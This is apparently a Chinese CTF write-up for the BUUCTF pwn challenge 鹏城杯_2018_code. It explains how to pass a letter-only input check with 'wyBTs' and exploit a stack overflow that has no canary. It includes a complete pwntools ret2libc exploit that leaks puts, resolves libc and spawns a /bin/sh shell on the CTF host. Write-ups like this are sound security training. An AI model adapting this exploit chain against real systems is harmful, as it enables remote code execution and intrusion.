BUUCTF pwn 鹏城杯_2018_code

查看保护
在这里插入图片描述
程序流程
在这里插入图片描述
先输入name,然后通过对输入的字符串进行检测,通过后进入到have_fun()函数
在这里插入图片描述
check_str()函数要求输入的字符串ascii码在[65,90],[97,122],即字符‘A’-‘Z’和’a’-’z’;

另一个函数要求如下结果
在这里插入图片描述
这里可以写相应的python代码进行爆破(时间太长,可以测试查看规律)
在这里插入图片描述
相应的结果如下
在这里插入图片描述在这里插入图片描述
可以发现结果是递增的,并且
在这里插入图片描述
那么可以猜测进行测试
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
确定第一个为w,后面以从类推
在这里插入图片描述
那么输入‘wyBTs’即可成功通过检测
进入到have_fun函数,有简单的栈溢出,且没有canary
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
那么可以先泄露puts的地址,然后获得libc基地址,最后获得system和/bin/sh地址,最终获得shell

完整ex

from pwn import *

context(log_level='debug',arch='amd64')

#io=process("./2018_code")
io=remote("node3.buuoj.cn",25540)
elf=ELF("./2018_code")

io.recv()

io.sendline('wyBTs')

io.recv()

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

have_fun=0x400801

pop_rdi_ret=0x400983

payload=b'A'*(0x70+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(have_fun)

io.sendline(payload)

io.recvuntil(b'\x0a')

puts=u64(io.recv(6).ljust(8,b'\x00'))

print(hex(puts))

io.recv()

from LibcSearcher import *  

libc = LibcSearcher('puts',puts)  
#获取libc加载地址  
libc_base = puts - libc.dump('puts')  
#获取system地址  
system_addr = libc_base + libc.dump('system')  
#获取/bin/sh地址  
binsh_addr = libc_base + libc.dump('str_bin_sh')

ret=0x40055e

payload=b'A'*(0x70+8)+p64(ret)+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)

io.sendline(payload)

io.recv()

io.interactive() 
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值